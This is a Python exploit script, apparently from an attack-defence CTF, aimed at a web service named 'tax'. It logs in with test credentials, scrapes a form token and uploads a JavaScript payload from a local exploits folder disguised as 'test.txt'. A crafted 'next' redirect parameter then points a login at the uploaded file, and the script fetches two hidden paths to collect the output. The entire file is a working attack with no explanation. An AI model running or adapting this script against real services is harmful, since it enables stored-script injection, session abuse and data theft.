#!/usr/bin/env python
# encoding: utf-8

import sys
import requests
import re
import time

rdata_re = re.compile(r'option value="(.+?)"')
file_re = re.compile(r'Click <a href="(.+?)"')

ip = sys.argv[1]

s = requests.Session()
s.headers['Host'] = 'tax.{}'.format(ip)
s.headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36'

print('Login1')
resp = s.post('http://{}/l'.format(ip), data={'name': 'test', 'password': 'test'})
print(resp.text)
print('Me')
s.post('http://{}/me'.format(ip), data={'name': 'test', 'private': 'test'})

print('Upload1')
resp = s.get('http://{}/'.format(ip))
rdata = rdata_re.search(resp.text).group(1)
print(rdata)

print('Upload2')
resp = s.post('http://{}/u'.format(ip), data={'pdata': rdata}, files=[('file', ('test.txt', open('/srv/exploits/tax/exploit4.js', 'r'), 'text/plain'))])

file = file_re.search(resp.text).group(1)
print(file)

resp = requests.post('http://{}/l'.format(ip), headers={'Host': 'tax.{}'.format(ip), 'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36'
}, params={'next': 'data.' + file}, data={'name': 'test', 'password': 'test'})
print(resp.text)

time.sleep(2)

resp = s.get('http://{}/ffc12615ac8d4b45'.format(ip), headers={'Host': 'tax.{}'.format(ip)})
print(resp.text)
resp = s.get('http://{}/ffc12615ac8d4b44'.format(ip), headers={'Host': 'tax.{}'.format(ip)})
print(resp.text)
